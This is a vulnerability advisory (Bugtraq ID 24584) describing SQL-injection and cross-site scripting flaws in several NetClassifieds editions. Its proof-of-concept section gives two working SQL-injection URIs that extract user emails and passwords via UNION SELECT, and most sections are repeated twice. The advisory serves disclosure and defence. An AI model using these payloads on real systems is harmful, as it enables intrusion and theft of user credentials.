NetClassifieds Multiple Input Validation Vulnerabilities
BID:24584
Info
NetClassifieds Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 24584 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-3356 CVE-2007-3354 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 21 2007 12:00AM |
| Updated: | Jul 05 2016 10:00PM |
| Credit: | Laurent Gaffie is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
NetClassifieds Standard Edition 1.9.7 NetClassifieds Standard Edition 1.9.6 .3 NetClassifieds Professional Edition 1.5.2 NetClassifieds Professional Edition 1.5.1 NetClassifieds Premium Edition 1.0.5 NetClassifieds Premium Edition 1.0.1 NetClassifieds Free Edition 1.0.2 NetClassifieds Free Edition 1.0.1 |
| Not Vulnerable: | |
Discussion
NetClassifieds Multiple Input Validation Vulnerabilities
NetClassifieds is prone to multiple input-validation vulnerabilities because the application fails to sanitize user-supplied input. These vulnerabilities include multiple SQL-injection issues and cross-site scripting issues.
A successful exploit may allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
NetClassifieds Free, Standard, Professional, and Premium editions are reported vulnerable.
NetClassifieds is prone to multiple input-validation vulnerabilities because the application fails to sanitize user-supplied input. These vulnerabilities include multiple SQL-injection issues and cross-site scripting issues.
A successful exploit may allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
NetClassifieds Free, Standard, Professional, and Premium editions are reported vulnerable.
Exploit / POC
NetClassifieds Multiple Input Validation Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/ViewCat.php?CatID=-8+union+select+1,email,3+from+users/*
http://www.example.com/ViewCat.php?s_user_id='+union+select+user_password+from+users+where%20user_id=1/*
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/ViewCat.php?CatID=-8+union+select+1,email,3+from+users/*
http://www.example.com/ViewCat.php?s_user_id='+union+select+user_password+from+users+where%20user_id=1/*
Solution / Fix
NetClassifieds Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
NetClassifieds Multiple Input Validation Vulnerabilities
References:
References:
- NetClassifieds Web Site (NetClassifieds)
- NetClassifieds Sql Injection ([email protected])
- NetClassifieds [multiple vulnerabilities] (Laurent Gaffie)